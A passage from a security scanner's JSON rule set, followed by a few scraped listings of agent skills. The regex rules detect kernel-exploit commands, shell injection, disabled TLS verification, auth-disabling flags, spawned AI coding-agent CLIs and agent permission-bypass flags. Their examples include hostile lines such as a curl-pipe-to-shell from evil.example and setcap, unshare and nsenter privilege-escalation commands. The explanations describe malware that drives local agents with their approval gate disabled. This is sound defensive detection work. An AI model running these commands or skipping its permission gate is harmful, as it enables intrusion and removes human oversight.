      "pattern": "^(?![ \\t]*#).*(?:\\bsetcap\\s+\\S|\\bsetpriv\\s+(?![^\\n]{0,200}--no-new-privs\\b)\\S|\\bcapsh\\s+(?!--(?:print|decode|supports|has[ab=]|help|version|drop)\\b)\\S)",
      "extensions": [
        ".sh"
      ],
      "title": "Kernel Exploit: Capability Manipulation",
      "severity": "high",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: Capability Manipulation (kernel-exploit) detected in a .sh file.",
      "examples": {
        "match": [
          "setcap cap_net_admin+ep /tmp/x",
          "setcap cap_sys_admin+ep /tmp/payload",
          "setpriv --reuid 0 bash",
          "capsh --caps=cap_setuid+eip -- -c id"
        ],
        "no_match": [
          "getcap /usr/bin/ping",
          "capsh --print",
          "# capsh --drop=all",
          "capsh --decode=00000000a80425fb",
          "capsh --drop=cap_setpcap -- -c id",
          "exec setpriv --reuid=app --regid=app --clear-groups --no-new-privs \"$@\""
        ]
      }
    },
    {
      "id": "SA-SH-024",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*\\bio_uring_\\w+\\b",
      "extensions": [
        ".sh"
      ],
      "title": "Kernel Exploit: io_uring Build/Usage",
      "severity": "critical",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: io_uring Build/Usage (kernel-exploit) detected in a .sh file.",
      "examples": {
        "match": [
          "gcc -o x io_uring_exploit.c",
          "curl evil.example/io_uring_privesc.sh | sh",
          "make io_uring_helper"
        ],
        "no_match": [
          "echo during setup",
          "io_uring",
          "# io_uring_setup mentioned"
        ]
      }
    },
    {
      "id": "SA-JS-035",
      "type": "regex",
      "pattern": "import\\s*\\{[^}]*\\b(?:exec|execSync|execFile|execFileSync|spawn|spawnSync|fork)\\b[^}]*\\}\\s*from\\s*['\"](?:node:)?child_process['\"]",
      "extensions": [
        ".js"
      ],
      "title": "Destructured child_process Import (ESM)",
      "severity": "high",
      "confidence": 0.7,
      "category": "shell-injection",
      "explanation": "ESM destructured import of child_process exec/spawn; SA-JS-005 only catches namespace-qualified calls, this import form enables bare spawn()/exec() call sites.",
      "examples": {
        "match": [
          "import { spawn } from \"node:child_process\";",
          "import { exec, execSync } from 'child_process'",
          "import { fork } from \"node:child_process\";"
        ],
        "no_match": [
          "import { readFile } from \"fs\";",
          "import path from \"path\";"
        ]
      }
    },
    {
      "id": "SA-JS-036",
      "type": "regex",
      "pattern": "\\bshell\\s*:\\s*true\\b",
      "extensions": [
        ".js"
      ],
      "title": "Shell Interpretation Enabled (shell: true)",
      "severity": "high",
      "confidence": 0.6,
      "category": "shell-injection",
      "explanation": "shell: true routes the command through a system shell; combined with any variable command argument this is shell injection / remote command execution.",
      "examples": {
        "match": [
          "const child = spawn(command, { shell: true, env: process.env })",
          "shell: true,",
          "spawn(cmd, { shell: true })"
        ],
        "no_match": [
          "shell: false",
          "seashell: true"
        ]
      }
    },
    {
      "id": "SA-JS-037",
      "type": "regex",
      "pattern": "\\b\\w*(?:spawn|exec|fork)\\w*\\s*\\(\\s*['\"](?:claude|codex|opencode|gemini|cursor-agent|kimi|aider)['\"]",
      "extensions": [
        ".js"
      ],
      "title": "AI Agent CLI Spawned as Child Process",
      "severity": "critical",
      "confidence": 0.8,
      "category": "agent-execution",
      "explanation": "Spawns an installed AI coding-agent CLI (claude/codex/opencode/...) as a child process; relay-driven agent-execution malware drives the local agent with attacker-supplied prompts.",
      "examples": {
        "match": [
          "spawnAgent(\"claude\", [\"-p\", prompt])",
          "spawn('codex', args)",
          "execFile(\"opencode\", [\"run\"])",
          "fork('gemini', ['--prompt', text])"
        ],
        "no_match": [
          "spawn('node', args)",
          "exec(\"ls -la\")"
        ]
      }
    },
    {
      "id": "SA-JS-038",
      "type": "regex",
      "pattern": "\\b[A-Z0-9_]*(?:OMIT|DISABLE|SKIP|BYPASS)[A-Z0-9_]*AUTH[A-Z0-9_]*\\s*!==\\s*['\"]false['\"]",
      "extensions": [
        ".js"
      ],
      "title": "Auth Disabled by Default (Inverted Env Flag)",
      "severity": "critical",
      "confidence": 0.85,
      "category": "auth-bypass",
      "explanation": "Env flag named OMIT/DISABLE/SKIP/BYPASS_*AUTH compared !== \"false\" turns authentication OFF unless explicitly re-enabled; used by security-regression squats to silently revert upstream auth fixes (e.g. CVE-2025-49596).",
      "examples": {
        "match": [
          "const authDisabled = process.env.DANGEROUSLY_OMIT_AUTH !== \"false\";",
          "DISABLE_AUTH !== 'false'",
          "SKIP_AUTH !== \"false\""
        ],
        "no_match": [
          "process.env.DANGEROUSLY_OMIT_AUTH === \"true\"",
          "if (!authEnabled) return"
        ]
      }
    },
    {
      "id": "SA-TS-015",
      "type": "regex",
      "pattern": "import\\s*\\{[^}]*\\b(?:exec|execSync|execFile|execFileSync|spawn|spawnSync|fork)\\b[^}]*\\}\\s*from\\s*['\"](?:node:)?child_process['\"]",
      "extensions": [
        ".ts"
      ],
      "title": "Destructured child_process Import (ESM)",
      "severity": "high",
      "confidence": 0.7,
      "category": "shell-injection",
      "explanation": "ESM destructured import of child_process exec/spawn; enables bare spawn()/exec() call sites that namespace-qualified rules miss.",
      "examples": {
        "match": [
          "import { spawn } from \"node:child_process\";",
          "import { execFile } from 'child_process'",
          "import { spawn, fork } from \"node:child_process\";",
          "import { execSync } from 'node:child_process';"
        ],
        "no_match": [
          "import { readFile } from \"fs\";",
          "import { join } from \"path\";"
        ]
      }
    },
    {
      "id": "SA-TS-016",
      "type": "regex",
      "pattern": "\\bshell\\s*:\\s*true\\b",
      "extensions": [
        ".ts"
      ],
      "title": "Shell Interpretation Enabled (shell: true)",
      "severity": "high",
      "confidence": 0.6,
      "category": "shell-injection",
      "explanation": "shell: true routes the command through a system shell; combined with any variable command argument this is shell injection / remote command execution.",
      "examples": {
        "match": [
          "spawn(cmd, { shell: true })",
          "execFile(script, { shell: true })",
          "spawnSync(cmd, { shell: true })"
        ],
        "no_match": [
          "shell: false",
          "shell: false,"
        ]
      }
    },
    {
      "id": "SA-TS-017",
      "type": "regex",
      "pattern": "\\b\\w*(?:spawn|exec|fork)\\w*\\s*\\(\\s*['\"](?:claude|codex|opencode|gemini|cursor-agent|kimi|aider)['\"]",
      "extensions": [
        ".ts"
      ],
      "title": "AI Agent CLI Spawned as Child Process",
      "severity": "critical",
      "confidence": 0.8,
      "category": "agent-execution",
      "explanation": "Spawns an installed AI coding-agent CLI as a child process; relay-driven agent-execution malware drives the local agent with attacker-supplied prompts.",
      "examples": {
        "match": [
          "spawn('claude', ['-p', prompt])",
          "spawnAgent(\"codex\", args)",
          "exec('aider', ['--message', text])"
        ],
        "no_match": [
          "spawn('node', args)",
          "spawn('python3', args)"
        ]
      }
    },
    {
      "id": "SA-TS-018",
      "type": "regex",
      "pattern": "\\b[A-Z0-9_]*(?:OMIT|DISABLE|SKIP|BYPASS)[A-Z0-9_]*AUTH[A-Z0-9_]*\\s*!==\\s*['\"]false['\"]",
      "extensions": [
        ".ts"
      ],
      "title": "Auth Disabled by Default (Inverted Env Flag)",
      "severity": "critical",
      "confidence": 0.85,
      "category": "auth-bypass",
      "explanation": "Env flag named OMIT/DISABLE/SKIP/BYPASS_*AUTH compared !== \"false\" turns authentication OFF by default; reverts upstream auth fixes.",
      "examples": {
        "match": [
          "DANGEROUSLY_OMIT_AUTH !== \"false\"",
          "BYPASS_AUTH !== 'false'",
          "OMIT_AUTH !== 'false'"
        ],
        "no_match": [
          "DANGEROUSLY_OMIT_AUTH === \"true\"",
          "DISABLE_AUTH === \"true\""
        ]
      }
    },
    {
      "type": "regex",
      "pattern": "['\"`]--dangerously-skip-permissions['\"`]|\\bbypassPermissions\\b|['\"`]--permission-mode['\"`]\\s*,\\s*['\"`]bypass['\"`]",
      "title": "AI Agent CLI Permission Bypass Flag",
      "severity": "critical",
      "confidence": 0.9,
      "category": "auth-bypass",
      "explanation": "Passes --dangerously-skip-permissions / bypassPermissions to an AI coding-agent CLI, disabling its human-approval gate; relay-driven agent-execution malware uses this so attacker-supplied prompts run tool calls unchecked (AgentGate MCPA-2026-0084 and related).",
      "examples": {
        "match": [
          "permissionFlags.push('--dangerously-skip-permissions');",
          "if (input.permissionMode === 'bypassPermissions') {",
          "spawn('claude', ['--permission-mode', 'bypass'])"
        ],
        "no_match": [
          "spawn('claude', ['-p', prompt])",
          "const permissionMode = 'acceptEdits';"
        ]
      },
      "id": "SA-JS-039",
      "extensions": [
        ".js",
        ".mjs",
        ".cjs"
      ]
    },
    {
      "type": "regex",
      "pattern": "['\"`]--dangerously-skip-permissions['\"`]|\\bbypassPermissions\\b|['\"`]--permission-mode['\"`]\\s*,\\s*['\"`]bypass['\"`]",
      "title": "AI Agent CLI Permission Bypass Flag",
      "severity": "critical",
      "confidence": 0.9,
      "category": "auth-bypass",
      "explanation": "Passes --dangerously-skip-permissions / bypassPermissions to an AI coding-agent CLI, disabling its human-approval gate; relay-driven agent-execution malware uses this so attacker-supplied prompts run tool calls unchecked (AgentGate MCPA-2026-0084 and related).",
      "examples": {
        "match": [
          "permissionFlags.push('--dangerously-skip-permissions');",
          "if (input.permissionMode === 'bypassPermissions') {",
          "spawn('claude', ['--permission-mode', 'bypass'])"
        ],
        "no_match": [
          "spawn('claude', ['-p', prompt])",
          "const permissionMode = 'acceptEdits';"
        ]
      },
      "id": "SA-TS-019",
      "extensions": [
        ".ts",
        ".tsx"
      ]
    },
    {
      "id": "SA-JS-040",
      "type": "regex",
      "pattern": "\\brejectUnauthorized\\s*:\\s*false\\b|[\"\\']rejectUnauthorized[\"\\']\\s*:\\s*false\\b|\\b(?:[A-Za-z_$][\\w$]*\\.)+rejectUnauthorized\\s*=\\s*false\\b|NODE_TLS_REJECT_UNAUTHORIZED\\s*=\\s*[\\'\\\"]0[\\'\\\"]",
      "extensions": [
        ".js",
        ".jsx"
      ],
      "title": "Node.js TLS Certificate Verification Disabled",
      "severity": "high",
      "confidence": 0.85,
      "category": "insecure-transport",
      "attacker": "malicious download source",
      "boundary": "TLS trust boundary",
      "asset": "downloaded payload integrity",
      "explanation": "Disables Node.js TLS certificate verification, allowing a network attacker to substitute remote content.",
      "examples": {
        "match": [
          "new https.Agent({ rejectUnauthorized: false })",
          "const opts = {\"rejectUnauthorized\": false}",
          "opts.rejectUnauthorized = false",
          "process.env.NODE_TLS_REJECT_UNAUTHORIZED = \"0\""
        ],
        "no_match": [
          "rejectUnauthorized: true",
          "opts.rejectUnauthorized = true",
          "NODE_TLS_REJECT_UNAUTHORIZED = \"1\"",
          "authorized = false"
        ]
      }
    },
    {
      "id": "SA-TS-020",
      "type": "regex",
      "pattern": "\\brejectUnauthorized\\s*:\\s*false\\b|[\"\\']rejectUnauthorized[\"\\']\\s*:\\s*false\\b|\\b(?:[A-Za-z_$][\\w$]*\\.)+rejectUnauthorized\\s*=\\s*false\\b|NODE_TLS_REJECT_UNAUTHORIZED\\s*=\\s*[\\'\\\"]0[\\'\\\"]",
      "extensions": [
        ".ts"
      ],
      "title": "TypeScript TLS Certificate Verification Disabled",
      "severity": "high",
      "confidence": 0.85,
      "category": "insecure-transport",
      "attacker": "malicious download source",
      "boundary": "TLS trust boundary",
      "asset": "downloaded payload integrity",
      "explanation": "Disables Node.js TLS certificate verification, allowing a network attacker to substitute remote content.",
      "examples": {
        "match": [
          "new https.Agent({ rejectUnauthorized: false })",
          "opts.rejectUnauthorized = false",
          "process.env.NODE_TLS_REJECT_UNAUTHORIZED = \"0\""
        ],
        "no_match": [
          "rejectUnauthorized: true",
          "opts.rejectUnauthorized = true",
          "NODE_TLS_REJECT_UNAUTHORIZED = \"1\""
        ]
      }
    },
    {
      "id": "SA-TSX-003",
      "type": "regex",
      "pattern": "\\brejectUnauthorized\\s*:\\s*false\\b|[\"\\']rejectUnauthorized[\"\\']\\s*:\\s*false\\b|\\b(?:[A-Za-z_$][\\w$]*\\.)+rejectUnauthorized\\s*=\\s*false\\b|NODE_TLS_REJECT_UNAUTHORIZED\\s*=\\s*[\\'\\\"]0[\\'\\\"]",
      "extensions": [
        ".tsx"
      ],
      "title": "TSX TLS Certificate Verification Disabled",
      "severity": "high",
      "confidence": 0.85,
      "category": "insecure-transport",
      "attacker": "malicious download source",
      "boundary": "TLS trust boundary",
      "asset": "downloaded payload integrity",
      "explanation": "Disables Node.js TLS certificate verification, allowing a network attacker to substitute remote content.",
      "examples": {
        "match": [
          "new https.Agent({ rejectUnauthorized: false })",
          "opts.rejectUnauthorized = false",
          "process.env.NODE_TLS_REJECT_UNAUTHORIZED = \"0\""
        ],
        "no_match": [
          "rejectUnauthorized: true",
          "opts.rejectUnauthorized = true"
        ]
      }
    },
    {
      "id": "SA-PY-025",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*[(|&,=]\\s*CLONE_NEWUSER\\b",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Exploit: User Namespace Flag (CLONE_NEWUSER)",
      "severity": "high",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: User Namespace Flag (CLONE_NEWUSER) (kernel-exploit) detected in a .py file.",
      "examples": {
        "match": [
          "os.unshare(CLONE_NEWUSER)",
          "flags = CLONE_NEWUSER | CLONE_NEWNET",
          "libc.unshare(CLONE_NEWUSER)"
        ],
        "no_match": [
          "git clone origin main",
          "CLONE_NEWUSER2",
          "clone_newuser",
          "# os.unshare(CLONE_NEWUSER) explained",
          "msg = 'we never pass CLONE_NEWUSER'"
        ]
      }
    },
    {
      "id": "SA-SH-020",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*(?:\\bunshare\\s+(?:-\\S+\\s+)*?(?:(?<!-)-[A-Za-z]*[Ur][A-Za-z]*\\b|--user\\b|--map-root-user\\b)|\\bnsenter\\s+(?:-\\S+\\s+)*?(?:-t\\s+0*1\\b|--target(?:=|\\s+)0*1\\b))",
      "extensions": [
        ".sh"
      ],
      "title": "Kernel Exploit: User Namespace Creation",
      "severity": "high",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: User Namespace Creation (kernel-exploit) detected in a .sh file.",
      "examples": {
        "match": [
          "unshare --user --map-root-user bash",
          "unshare -Urm bash",
          "nsenter -t 1 -m -u bash",
          "nsenter --target=1 --mount bash",
          "nsenter -t 01 -m bash",
          "nsenter --target=001 -u sh"
        ],
        "no_match": [
          "unshare",
          "unshare --mount --propagation private bash",
          "nsenter -t \"$pid\" -m bash",
          "# unshare -Urn sh",
          "share -x file"
        ]
      }
    },
    {
      "id": "SA-SH-021",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*(?:\\btc\\s+(?:qdisc|class|filter|action)\\s+(?:add|change|replace)\\b|\\bact_pedit\\b|\\btc\\s+-b(?:atch)?\\s+\\S|\\$\\{?\\w+\\}?\\s+(?:qdisc|class|filter|action)\\s+(?:add|change|replace)\\b)",
      "extensions": [
        ".sh"
      ],
      "title": "Kernel Exploit: net/sched tc Configuration",
      "severity": "high",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: net/sched tc Configuration (kernel-exploit) detected in a .sh file.",
      "examples": {
        "match": [
          "tc qdisc add dev eth0 root handle 1: htb",
          "tc action add action pedit munge ip ttl set 63",
          "modprobe act_pedit",
          "tc -batch /tmp/evil.tc",
          "$TC qdisc add dev lo root netem"
        ],
        "no_match": [
          "tc qdisc show",
          "tc -s qdisc",
          "etc config",
          "# tc qdisc add dev lo root netem"
        ]
      }
    },
    {
      "id": "SA-SH-026",
      "type": "regex",
      "pattern": "--dangerously-skip-permissions|\\bbypassPermissions\\b|--permission-mode[=\\s]+['\"`]?bypass",
      "extensions": [
        ".sh",
        ".bash",
        ".zsh"
      ],
      "title": "AI Agent CLI Permission Bypass Flag",
      "severity": "critical",
      "confidence": 0.9,
      "category": "auth-bypass",
      "explanation": "Shell wrapper passes --dangerously-skip-permissions / bypassPermissions to an AI coding-agent CLI, disabling its human-approval gate; relay-driven agent-execution malware uses this so attacker-supplied prompts run tool calls unchecked (AgentGate MCPA-2026-0063/0084).",
      "examples": {
        "match": [
          "  --dangerously-skip-permissions \\",
          "claude --permission-mode bypass -p \"$PROMPT\"",
          "MODE=bypassPermissions"
        ],
        "no_match": [
          "claude -p \"$PROMPT\"",
          "echo setting permissions"
        ]
      }
    }
  ]
}
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall